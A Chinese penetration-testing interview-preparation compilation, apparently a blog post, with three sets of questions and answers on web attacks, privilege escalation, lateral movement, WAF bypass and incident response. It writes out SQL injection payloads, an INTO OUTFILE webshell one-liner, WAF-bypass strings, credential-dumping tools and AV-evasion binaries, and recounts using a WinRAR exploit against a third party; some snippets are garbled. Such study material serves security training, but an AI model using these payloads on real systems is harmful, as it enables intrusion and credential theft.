目录
面试一
面试二
面试三
更多资料可:渗透测试基础课-课程进度_课嗨教育的博客-CSDN博客
面试一
个人介绍:
-
自我介绍要点:不要用长逻辑句,短小精悍 控制在3-4分钟
-
1、自我介绍 姓名 年龄 哪里人 学校情况 不是重点,作为顺滑开场
-
2、经历与技能 啥时候开始学web攻防,实习经历(神舟,做了什么;尚然,做了什么),让人家清楚历史引入技术主题,挑重点
-
3、业绩/成绩: 研究类:freebuff SRC I春秋 博客 版主,自运营安全微信公众号,年度风云榜
-
技术类:0day 漏洞 比赛名次啊等
-
突出重点与精华展现实力
-
结束,谢谢
-
接下来靠自己
面试问题
-
介绍:
-
Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。
-
CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。
-
CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
-
绕过方法
-
csp是什么?如何绕过csp?
-
黄金票据和白金票据的区别
-
mysql root 权限有哪些提权方式
-
看系统,分别说
-
window
-
Linux
-
常规写webshell
-
dump file
-
outfile
-
日志写shell
-
....
-
内网提权
-
正常注入点sa权限,可以os-shell但是全部是基于断网机,你怎么办?
-
system权限
-
正常注入后台书籍,进入后台拿webshell, 通过上传exe文件来配合os-shell 执行系统命令来下载web服务器的文件到数据库服务器文件执行
-
能够执行全部系统命令,可以在Web前台上传点,上传文件到web服务器,通过,arp -a,netstat -ano找到web服务器的ip地址,下载web服务器的文件执行抓取系统密码等操作
-
利用网上的批量出网命令,利用前面拿到的系统的账号密码,psexec,vmi, net use, creakexec等工具进行批量横向出网探测,能够出网的机器转发出来
-
可以把exe 转base64编码,通过某种方式带进去,然后用window自带的转码工具恢复
-
vmi,ssrf是什么?ssrf支持哪些协议
-
ssrf支持哪些协议
-
file://
-
Dict://
-
SFTP://
-
TFTP://
-
LDAP://
-
Gopher://
-
....
-
鱼叉,水坑攻击的案例
-
同源策略和跨域
-
不同域名,端口,协议,无法通信
-
跨域:CORS
-
jsonp
-
window.domain
-
window.message
-
sql盲注时候有什么办法优化
-
拿到一台内网的PC机,应该做什么?
-
本机信息搜集
-
本地hash
-
网页历史存储的密码
-
rdp连接记录
-
winscp,ssh,putty,xshell,等连接过的痕迹
-
mysql,mssql等,快速查找带有 user,pass等字段的值
-
利用一切现有的工具,把敏感信息搜集起来,做横向渗透用
-
做个简单免杀权限维持
-
白名单的
-
MSbuild.exe
-
installutil.exe
-
mshta.exe
-
vmic.exe
-
bitsadmin.exe
-
命令行的免杀teamview
-
B/C段信息搜集
-
看看本地拿下的账号密码和其他段内的是否相似
-
ms17-010 , phpstudy的后门, 已知的web中间件的快速getshell(iis写,nginx配置不当导致getshell,), cve漏洞,使用,SMBexecc, psexec,net use 这些工具,使用相同的密码对C段或者B段探测
-
段内的web服务,网关等
-
或者拿下某台特定的服务, net share 或者是ftp(文件服务器/共享服务器,wiki,对面的软件做捆绑,或者是chm手册上.....)
-
搜集特定段内的邮箱,批量的信息搜集或者是用鱼叉式钓鱼附件/鱼叉式连链接
-
最先尝试web爆破,最后尝试爆破ssh,rdp,ftp,mysql,mssql等
-
域渗透
-
SQL注入,id=1如何检测?orderby怎么利用?limit语句怎么利用?盲注有什么?
-
SELECT * FROM users WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
-
sqlmap os shell原理
-
为什么同源策略无法防御csrf?
-
cors和jsonp比较?
-
B站与A站不同源的情况下如何通过B站获取到A站用户信息
-
ARP攻击原理,防御方法
-
php的站限制了任何php文件上传,如何上传php文件?
-
sqlmap udp提权原理?
-
你是如何做应急响应的呢?查询webshell,如何被黑,如何提取解决方案,如何溯源入侵的黑客呢?如何取证呢?
-
网页挂木马
-
如果木马上写上了 hack by 谁谁谁,那你就要考虑是不是哪些小黑客干的了,一般他们的能力就只能黑 gov, 学校的,如果是商业的网址,你就要考虑是不是 为了转移你目标视线的狡猾黑客了.还有,如果引流某个特定的bc,黄色,约炮这种,根据这些黑网站的信息进行检索,看看全球网站都是通过这样被黑的,因此思考,是不是同一套系统的0day,或者这些端口特定的漏洞
-
分析是怎么入侵的?
-
window
-
服务器有没有用cdn,是否有弱口令,开放了哪些端口,尝试测试有哪些可以是未授权访问
-
打开 D 盾 web 查杀工具, 看看有没有克隆或者隐藏的账号
-
Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”。
-
检查异常端口、进程 1、检查端口连接情况,是否有远程连接、可疑连接。
-
a、netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED
-
b、根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr “PID”
-
如果觉得可疑ip,那么首先端口扫描下,用一些开源的情报平台搜索下..
-
查看开始自启菜单,计划任务,注册表,dll劫持....
-
linux
-
如何查找挖矿木马
-
挖了哪些洞,怎么挖的
-
本人经典的渗透实战案例:
-
某个公安的网站被黑,查看日志等信息,没有看出什么结果,但是页面全部引流到一个商城系统,卖壮阳药的. 这个商城是TPSHOP1.3.3,后台指定ip登录,商城系统,而这个商城系统是存在 xss+后台getshell (添加物流插件的地方存在getshell)漏洞的,
-
通过xss 获取到对方的某些客服的名字微信`
-
提交工单,说(某个其他客服,私下找我,说叫我去去别的商城卖壮阳药,结果骗了我3000元).管理员.. (这个人本身就是诈骗团伙的成员吗)
-
微信加我,我说我这边我和他的聊天证据以及录音, 这时候我利用出来的 CVE-2018-20250 winarar 目录穿越的漏洞,结合免杀木马.从而直接获取到它的页面信息
-
钓鱼案例,通过其他apt报告分析总结出来的
-
挖掘漏洞的案例,网上+自己经验和技术 找出来
-
GPC是什么?开启了怎么绕过:
-
预防注入, ' " 这些加上了转义 addslshes()和stripslashes()
-
尝试宽字节注入, 数字注入,
-
magic_quotes_gpc
-
魔术引号自动过滤 GET/POST/COOKIE 但是不会处理$_SERVER(client-ip/referer注入) php<5.4
-
magic_quotes_runtime
-
作用同上,受体数据库或者文件中获取的数据 php<5.4
-
参考文章: php审计笔记 | phyb0x'Blog
-
要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
-
gpc没有开启,开启了单引号被转义了,语句就不能正常执行
-
要有file权限,默认情况下只有root有
-
对目录要有写权限,一般image之类的存放突破的目录就有
-
Mysql一个@和两个@什么区别
-
如何隐藏自己的服务器以及ip
-
英语介绍一下自己:
-
算法?了解过什么排序?
-
sql注入分类,宽字节注入原理
-
如果让你用工具进行代码审计一个cms的上传功能,你会关注哪些函数
-
php代码审计中命令执行你会关注哪些函数,代码执行你会关注哪些函数
-
system(),exec(),popen() , passthru(), s hell_exec(),``,proc_open(),pcntl_exec(), curl_exec(),eval(), :file_get_contents(),
-
内网渗透怎么获取服务器账号密码
-
window
-
导入hash
-
.mimikatz
-
procudmp
-
powershell
-
LaZagne
-
WebBrowserPassView
-
....
-
搜集本机的信息
-
各种服务,mysql,myssql,ssh,ftp等账户密码
-
键盘记录
-
linux
-
你有一个webshell但是无法执行系统命令,无法上传,怎么进行内网渗透
-
我绕过Waf得层面
-
-
-
溢出
-
分块传输
-
GET/POST
-
参数污染
-
内联
-
空字节
-
不同的中间件支持的不同的编码
-
首先,探测是什么waf,网上已经针对主流waf得探测了,探测出来先试试网上主流得payload
-
不行的话,进一步探测,先看看是什么中间件,过滤哪些关键字字符,user-agent, 访问频率
-
中间件有特定得编码支持
-
黑名单过滤关键字符,还是使用正则匹配过滤等
-
bypass safe dog:
-
union -- hex()%0a select 1,2,3,4,5,database/*!44544()*/,7,8 %23
-
-- hex()%0a 是注释的意思,本来是注释后面的语句,到了安全狗这里就成为了绕过安全狗的语法
-
如果你是一个安全攻防负责人,如何做好安全架构,整理防御黑客攻击?(听到这个问题有点懵逼,这个问题太广了,思考了5-7分钟,想出了一些简答,)
-
如何bypass CDN
-
会制作免杀吗?
-
继续总结....
自己要问的问题:
-
您公司做的类似于绿盟一样做的是安全产品 ,安全服务(等保,渗透)?
-
有没有岗位晋升机制,入职培训项目,员工培训提升项目?考证有没有报销?
-
五险一金、社保比例、饭补、餐补、交通补助?
-
应聘岗位具体职责和工作内容?会不会经常出差?
-
试用期多久?薪水多少?
-
工作时间,加班情况
-
一周加几天班,上下班时间
-
公司队伍技术和产品这块有什么战略布局(一个公司如果没有核心的产品或者服务,迟早要被淘汰,记住! 光有钱没用)
-
目前招进来的人主要擅长哪方面,多少人。
-
进了公司以后做什么?如果我到公司3个月,未来会做什么?
-
应聘的这个部门叫什么部门,有多少人?
-
问下该公司有哪些福利保障?
-
这个职位在贵公司的具体职责是什么?
-
您公司的晋升政策是什么?
各大公司必问的问题:
-
说说的你渗透流程
-
你未来有什么职业规划
-
挖掘过哪些漏洞
面试二
x01 现场面试准备
1. 简历(打印3份以上,彩色),身份证,毕业证等资料;
2. 电脑(无线鼠标,电源线等);
3. 本子和笔,着装整洁,守时(提前20分钟到);
4. 面试公司的认识(地点,公司发展时间戳,部门,面试官等)。
00x02 对于电话面试
1. 约好时间并提前15分钟找个安静,信号好,没人打扰的地方,注意手机电量;
2. 站着进行电话面试,保持微笑,通话可录音;
3. 一份简历,本子和笔,耳机等(看着简历来);
4. 先想好,面试官会问的问题及答案,记要点(渗透测试的思路等)。
00x03 面试官问的问题
Q1 自我介绍
1)可参照简历
2)有条理(三分钟左右)
Q2 一个授权网站的渗透测试思路,流程(给你一个授权网站,怎么做?)
1)信息收集
a. 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
b. 网站指纹识别(包括,cms,cdn,证书等),dns记录
c. whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
d. 子域名收集,旁站查询(有授权可渗透),C段等
e. google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
f. 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
i. 传输协议,通用漏洞,exp,github源码等
2)漏洞挖掘
1> 浏览网站,看看网站规模,功能,特点等
2> 端口,弱口令,目录等扫描
3> XSS,SQL注入,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,短信轰炸,服务器漏洞检测,最后使用漏扫工具等
3)漏洞利用 | 权限提升
a) mysql提权,serv-u提权,linux内核版本提权等
4)清除测试数据 | 输出报告
i 日志、测试数据的清理
ii 总结,输出渗透测试报告,附修复方案
5) 复测
验证并发现是否有新漏洞,输出报告,归档
Q3 一个APP的逆向分析思路(给你一个APP,怎么做?)
这里简单列一下app测试的大纲,详细不便放出(可参照OWASP的mstg):https://github.com/OWASP/owasp-mstg/
1.代码保护检测;
2.数据存储安全;
3.加密算法;
4.四大组件安全;
5.应用规范等
Q4 简述某一漏洞的原理和渗透手法(SQL注入,XSS,CSRF等)
1. SQL注入原理:https://www.ichunqiu.com/course/54377
2. XSS原理:https://www.ichunqiu.com/course/59281
Q5 编程语言
1.python,JAVA,算法,二进制等编程能力(笔者暂未学,不深入探讨)
2.ARM汇编(基本的汇编指令,寄存器等)
Q6 WAF bypass
1.关键字可以用%(只限IIS系列)。比如select,可以 sel%e%ct
2.通杀的,内联注释,如 /*!select*/
3.编码,可两次编码
4.multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF
5.参数绕过,复制参数,id=1&id=1
6.内联注释
Q7 Kali的使用(Linux系统)
whatweb 指纹识别
dirb 目录扫描
whois whois查询
字典生成套件
爆破工具
kali系统中的工具清单 - 官方介绍
Q8 OWASP-Top10-2017
A1 注入, A2 失效的身份认证, A3 敏感信息泄露, A4 XML外部实体(XXE), A5 失效的访问控制, A6 安全配置错误, A7 跨站脚本(XSS), A8 不安全的反序列化, A9 使用含有已知漏洞的组件, A10 不足的日志记录和监控
OWASP_Top_10_2017_中文版v1.2.pdf
Q9 网络安全事件应急响应(如,一业务主站被挂黑页的处理流程及应对方法)
1. 取证,登录服务器,备份,检查服务器敏感目录,查毒(搜索后门文件 - 注意文件的时间,用户,后缀等属性),调取日志(系统日志,中间件日志,WAF日 志等);
2. 处理,恢复备份(快照回滚,最近一次),确定入侵方法(漏洞检测,并进行修复)
3. 溯源,查入侵IP,入侵手法的确定等
4. 记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录
通用漏洞的应对等其他安全应急事件
Q10 提交过的漏洞
国内外的漏洞提交平台,各SRC等
Q11 其他优势
1.新兴技术的研究(IOT安全,区块链,人工智能,机器学习等)
2.个人博客(原创文章),投稿,人脉,安全峰会,安全研究Paper, 安全议题分享等
3.比赛(CTF,团队比赛等),线下培训
4.在校经历(获奖,个人项目,团队活动,担任学生干部等)
5.英语 CET-4,CET-6
Q12 读过的技术书籍(学习的途径)
《白帽子讲web安全》、《ios应用逆向工程-第2版》、《加密与解密-第3版》、《汇编语言-第2版》、《OWASP-MSTG》
00x04 问面试官的问题
q1 贵公司,信息安全部门的规模,发展等
q2 任职后的工作职责,内容,出差,时间等
q3 劳动合同(实习生签三方协议和转正问题),是否解决户口
q4 薪资(税后),奖金,股票期权,福利,活动等
00x05 面试总结
1. 记录面试官的问题和自己的回答
2. 查漏补缺
3. 收获
面试三
1.拿到一个待检测的站,你觉得应该先做什么?
收集信息:whois、网站源 IP、旁站、C 段网站、服务器系统版本、容器版本、
程序版本、数据库类型、二级域名、防火墙、维护者信息另说...
2.mysql 的网站注入,5.0 以上和 5.0 以下有什么区别?
5.0 以下没有 information_schema 这个系统表,无法列表名等,只能暴力跑表
名;5.0 以下是多用户单操作,5.0 以上是多用户多操做。
3.在渗透过程中,收集目标站注册人邮箱对我们有什么价值?
(1)丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台
(2)用邮箱做关键词进行丢进搜索引擎
(3)利用搜索到的关联信息找出其他邮箱进而得到常用社交账号
(4)社工找出社交账号,里面或许会找出管理员设置密码的习惯
(5)利用已有信息生成专用字典 (6) 观察管理员常逛哪些非大众性网站,拿下它,你会得到更多好东西
4.判断出网站的 CMS 对渗透有什么意义?
查找网上已曝光的程序漏洞,如果开源,还能下载相对应的源码进行代码审计。
5.一个成熟并且相对安全的 CMS,渗透时扫目录的意义?
(1)敏感文件、二级目录扫描
(2)站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其
他站点
6.常见的网站服务器容器?
IIS、Apache、nginx、Tomcat,weblogic、jboss
7.mysql 注入点,用工具对目标站直接写入一句话,需要哪些条件?
root 权限以及网站的绝对路径
load_file()读取文件操作
前提:
知道文件的绝对路径
能够使用 union 查询
对 web 目录有写的权限
union select 1,load_file('/etc/passwd'),3,4,5#
0x2f6574632f706173737764 union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换十六进制
要是想省略单引号的话必须转换十六进制
into outfile 写入文件操作
前提:
文件名必须是全路径(绝对路径)
用户必须有写文件的权限
没有对单引号'过滤
select '' into outfile 'C:\Windows\tmp\8.php'
select '' into outfile
'C:\Windows\tmp\8.php'
路径里面两个反斜杠\可以换成一个正斜杠/
PHP 语句没有单引号的话,必须转换成十六进制
要是想省略单引号'的话,必须转换成十六进制
或者
eval($_GET["admin"]); ?>
建议一句话 PHP 语句转换成十六进制
8.目前已知哪些版本的容器有解析漏洞,具体举例? (1) IIS 6.0
/xx.asp/xx.jpg "xx.asp"是文件夹名
(2) IIS 7.0/7.5
默认 Fast-CGI 开启,直接在 url 中图片地址后面输入/1.php,会把正常图片
当成 php 解析
(3) Nginx
版本小于等于 0.8.37,利用方法和 IIS 7.0/7.5 一样,Fast-CGI 关闭情况下也
可利用。
空字节代码 xxx.jpg.php
(4)Apache
上传的文件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
(6)lighttpd
xx.jpg/xx.php
9.如何手工快速判断目标站是 windows 还是 linux 服务器?
linux 大小写敏感,windows 大小写不敏感
10.为何一个 mysql 数据库的站,只有一个 80 端口开放?
(1)更改了端口,没有扫描出来
(2) 站库分离 (3) 3306 端口不对外开放
11.3389 无法连接的几种情况?
(1)没开放 3389 端口
(2)端口被修改
(3) 防护拦截
(4)处于内网(需进行端口转发)
12.如何突破注入时字符被转义?
宽字符注入;hex 编码绕过
13.在某后台新闻编辑界面看到编辑器,应该先做什么?
查看编辑器的名称版本,然后搜索公开的漏洞
14.拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?
能做的事情很多,用隐藏网马来举例子:
插入 SetHandler application/x-httpd-php
.jpg 文件会被解析成.php 文件
15.注入漏洞只能查账号密码? 可脱裤,可上传 webshell,可执行命令
16.安全狗会追踪变量,从而发现出是一句话木马吗?
是根据特征码,所以很好绕过
17.access 扫出后缀为 asp 的数据库文件,访问乱码。如何实现到本地利用?
迅雷下载,直接改后缀为.mdb
18.提权时选择可读写目录,为何尽量不用带空格的目录?
因为 exp 执行多半需要空格界定参数
19.某服务器有站点 A,B 为何在 A 的后台添加 test 用户,访问 B 的后台。发现
也添加上了 test 用户?
同数据库
20.注入时可以不使用 and 或 or 或 xor,直接 order by 开始注入吗?
and/or/xor,前面的 1=1、1=2 步骤只是为了判断是否为注入点,如果已经
确定是注入点那就可以省那步骤去
21:某个防注入系统,在注入时会提示:统检测到你有非法注入的行为。已记录
您的 ip xx.xx.xx.xx 时间:2016:01-23 提交页面:test.asp?id=15 提交内
容:and 1=1 如何利用这个防注入系统拿 shell?
在 URL 里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件
了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接。具体文章参见: http://ytxiao.lofter.com/post/40583a_ab36540
22.上传大马后访问乱码时,有哪些解决办法?
浏览器中改编码
23.审查上传点的元素有什么意义?
有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就
能突破限制了
24.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,
你觉得这里怎样利用?
先爆破用户名,再利用被爆破出来的用户名爆破密码。
25.目标站发现某 txt 的下载地址为
http://www.test.com/down/down.php?file=/upwdown/1.txt,你有什
么思路?
这就任意文件下载漏洞,在 file=后面尝试输入 index.php 下载他的首页文件,
然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和
数据库的地址。
26.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存
在编辑器和 admin 目录。请问你的想法是? 直接在网站二级目录/abc/下扫描敏感文件及目录
27.在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制?
(1)后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如
果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的
网站文件中。(此方法适合有价值并且需要深入控制权限的网络)
(2)在登录后才可以访问的文件中插入 XSS 脚本
28.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的
密码?
审查元素 把密码处的 password 属性改成 text 就明文显示了
29.目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403.什么原
因?
原因很多,有可能 web 服务器配置把上传目录写死了不执行相应脚本,尝试
改后缀名绕过
30.审查元素得知网站所使用的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12 看
HTML 体部 比如护卫神就可以在名称那看到内容
31.在 win2003 服务器中建立一个 .zhongzi 文件夹用意何为? 隐藏文件夹,为了不让管理员发现你传上去的工具
32.sql 注入有以下两个测试选项,选一个并且阐述不选另一个的理由?
A. demo.jsp?id=2+1 B. demo.jsp?id=2-1
选 B,在 URL 编码中 + 代表空格,可能会造成混淆
33.以下链接存在 sql 注入漏洞,对于这个变形注入,你有什么思路?
demo.do?DATA=AjAxNg==
DATA 有可能经过了 base64 编码再传入服务器,所以我们也要对参数进行
base64 编码才能正确完成测试
34 发现 demo.jsp?uid=110 注入点,你有哪几种思路获取 webshell,哪种
是优选?
(1)有写入权限的,构造联合查询语句使用 using INTO OUTFILE,可以将查询
的输出重定向到系统的文件中,这样去写入 WebShell
(2)使用 sqlmap –os-shell 原理和上面一种相同,来直接获得一个 Shell,这样
效率更高
(3)通过构造联合查询语句得到网站管理员的账户和密码,然后扫后台登录后台,
再在后台通过改包上传等方法上传 Shell
35.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃
取用户信息等攻击。 修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取
Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于
没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检
验 Referer
(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者
远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
修复方式:XML 解析库在调用时严格禁止对外部实体的解析。
36.CSRF、SSRF 和重放攻击有什么区别?
(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起
(3)重放攻击是将截获的数据包进行重放,达到身份认证等目的
37.说出至少三种业务逻辑漏洞,以及修复方式?
(1)密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验
证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密
码
(2)身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到 Session 或 Cookie 即可伪造用户身份
(3)验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改
包的方法来进行绕过
38 圈出下面会话中可能存在问题的项,并标注可能会存在的问题?
GET /ecskins/demo.jsp?uid=2016031900&keyword=”hello world!”
HTTP/1.1
Host: ***com:82
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/css,/;q=0.1
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://*******com:82/eciop/orderForCC/cgtListForCC.htm?zone
=11370601&v=1459663591817
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d;
uniqueuserid=session_0GRMiFiYJhAh5_HZrQoZamJ;
st_uid=N90pIYHLZgjXI-NX01vPUf46w952J-0NcX19vgj1L%3DJXrZP9sf0I
Y-vEI9iNIX150iLXKat1YZLnUf46Z%2C5aec5biM5rCROueDn%2BWPsOeD
n%2BiNiTrng5%2Flj7A%3D; status=True
Connection: keep-alive
(标红 1:sql 注入,标红 2:xss,标红 3:cookies 欺骗,4:会话 CSRF 或重 放风险。)考对 HTTP 数据包字段敏感度及会话渗透经验。
39.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
40.你常用的渗透工具有哪些,最常用的是哪个?
burpsuit,appscan,avwvs,sqlmap,fiddler 等
41.描述一个你深入研究过的 CVE 或 POC?
如 cve-2017-11191 offcie 的 dde 漏洞
42.谈谈你经常关注的安全平台?
如,tools.net,90sec,先知社区,安全客,freebuf 等
43.给你一个网站你是如何来渗透测试的?
在获取书面授权的前提下:
(1)信息收集,
1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。
2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁
站有没有通用性的 cms 或者其他漏洞。
3.查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,比
如 IIS,APACHE,NGINX 的解析漏洞
4.查看 IP,进行 IP 地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,
心脏出血,mysql,ftp,ssh 弱口令等。
5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如 php 探针
6.google hack 进一步探测网站的信息,后台,敏感文件
(2)漏洞扫描
开始检测漏洞,如 XSS,XSRF,sql 注入,代码执行,命令执行,越权访问,
目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,
编辑器漏洞,暴力破解等
(3)漏洞利用
利用以上的方式拿到 webshell,或者其他权限
(4)权限提升
提权服务器,比如 windows 下 mysql 的 udf 提权,serv-u 提权,windows
低版本的漏洞,如 iis6,pr,巴西烤肉,
linux 脏牛漏洞,linux 内核版本漏洞提权,
linux 下的 mysql system 提权以及 oracle 低权限提权
(5)日志清理
(6)总结报告及修复方案
或者:
1)信息收集
a. 服务器的相关信息(真实 ip,系统类型,版本,开放端口,WAF 等)
b. 网站指纹识别(包括,cms,cdn,证书等),dns 记录
c. whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
d. 子域名收集,旁站查询(有授权可渗透),C 段等
e. google hacking 针对化搜索,pdf 文件,中间件版本,弱口令扫描等 f. 扫描网站目录结构,爆后台,网站 banner,测试文件,备份等敏感文件泄漏
等
i. 传输协议,通用漏洞,exp,github 源码等
2)漏洞挖掘
1> 浏览网站,看看网站规模,功能,特点等
2> 端口,弱口令,目录等扫描
3> XSS,SQL 注入,命令注入,CSRF,cookie 安全检测,敏感信息,通信数
据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包
含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
3)漏洞利用 | 权限提升
a) mysql 提权,serv-u 提权,linux 内核版本提权等
4)清除测试数据 | 输出报告
i 日志、测试数据的清理
ii 总结,输出渗透测试报告,附修复方案
5) 复测
验证并发现是否有新漏洞,输出报告,归档
44.sqlmap,怎么对一个注入点注入?
(1)如果是 get 型号,直接,sqlmap -u "诸如点网址". (2)如果是 post 型诸如点,可以 sqlmap -u "注入点网址” --data="post
的参数"
(3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,用 burpsuite
抓包,注入处用*号替换,放到文件里,然后 sqlmap -r "文件地址"
45.nmap,扫描的几种方式?
46.sql 注入的几种类型?
(1)报错注入
(2)bool 型注入
(3)延时注入
(4)宽字节注入
47.报错注入的函数有哪些?
(1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
----------------
(2)通过 floor 报错 向下取整
(3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4)geometrycollection()select from test where id=1 and
geometrycollection((select from(selectfrom(select user())a)b));
(5)multipoint()select from test where id=1 and
multipoint((select from(select from(select user())a)b));
(5)polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));
(7)multipolygon()select from test where id=1 and
multipolygon((select from(select from(select user())a)b));
(8)linestring()select from test where id=1 and
linestring((select from(select from(select user())a)b));
(9)multilinestring()select from test where id=1 and
multilinestring((select from(select from(select user())a)b));
(10)exp()select from test where id=1 and exp(~(select * from(select
user())a));
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
48.延时注入如何来判断?
(1)if(ascii(substr(“hello”, 1, 1))=104
(2) sleep(5), 1)
49.盲注和延时注入的共同点?
都是一个字符一个字符的判断
50.如何拿一个网站的 webshell?
上传,后台编辑模板,sql 注入写文件,命令执行,代码执行,一些已经爆出
的 cms 漏洞,比如 dedecms 后台可以直接建立脚本文件,wordpress 上传插
件包含脚本文件 zip 压缩包等
51.sql 注入写文件都有哪些函数? (1)select '一句话' into outfile '路径'
(2)select '一句话' into dumpfile '路径'
(3) select '' into
dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
52.如何防止 CSRF?
(1)验证 referer
(2)验证 token
详细:http://cnodejs.org/topic/5533dd6e9138f09b629674fd
53.owasp 漏洞都有哪些?
(1)SQL 注入防护方法:
(2)失效的身份认证和会话管理
(3)跨站脚本攻击 XSS
(4)直接引用不安全的对象
(5)安全配置错误
(6)敏感信息泄露
(7)缺少功能级的访问控制
(8)跨站请求伪造 CSRF
(9)使用含有已知漏洞的组件
(1))未验证的重定向和转发
54.SQL 注入防护方法?
(1)使用安全的 API
(2)对输入的特殊字符进行 Escape 转义处理 (3)使用白名单来规范化输入验证方法
(4)对客户端输入进行控制,不允许输入 SQL 注入相关的特殊字符
(5)服务器端在提交数据库进行 SQL 查询之前,对特殊字符进行过滤、转义、
替换、删除。
55.代码执行,文件读取,命令执行的函数都有哪些?
(1)代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_fu
nction
(2)文件读取:file_get_contents(),highlight_file(),fopen(),read
file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
(3)命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(),
popen(),proc_open()
56.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?
src 指定一个远程的脚本文件,获取 referer
57.img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾,
怎么获取管理员路径?
1,远程服务器修改 apache 配置文件,配置.jpg 文件以 php 方式来解析
AddType application/x-httpd-php .jpg
会以 php 方式来解析
58.怎么绕过 WAF 注入和上传以及 xss?
(1)关键字可以用%(只限 IIS 系列),比如 select 可以 sel%e%ct。原理: 网络层 waf 对 SEL%E%CT 进行 url 解码后变成 SEL%E%CT,匹配 select 失败,
而进入 asp.dll 对 SEL%E%CT 进行 url 解码却变成 select。IIS 下的 asp.dll 文件
在对 asp 文件后参数串进行 url 解码时,会直接过滤掉 09-0d(09 是 tab 键,0d
是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss 也是同
理。
(2)内联注释。安全狗不拦截,但是安全宝、加速乐、D 盾等,看到/!/就 Fack
了,所以只限于安全狗。比如:
/!select*/
(3)编码。这个方法对 waf 很有效果,因为一般 waf 会解码,但是我们利用这
个特点,进行两次编码,他解了第一次但不会解第二次,就 bypass 了。腾讯
waf、百度 waf 等等都可以这样 bypass 的
(4)绕过策略如:伪造搜索引擎
早些版本的安全狗是有这个漏洞的,就是把 User-Agent 修改为搜索引擎
(5)插入关键目录 admin,dede,install 等目录绕过 360webscan
360webscan脚本存在这个问题,就是判断是否为admin dede install 等目录,
如果是则不做拦截
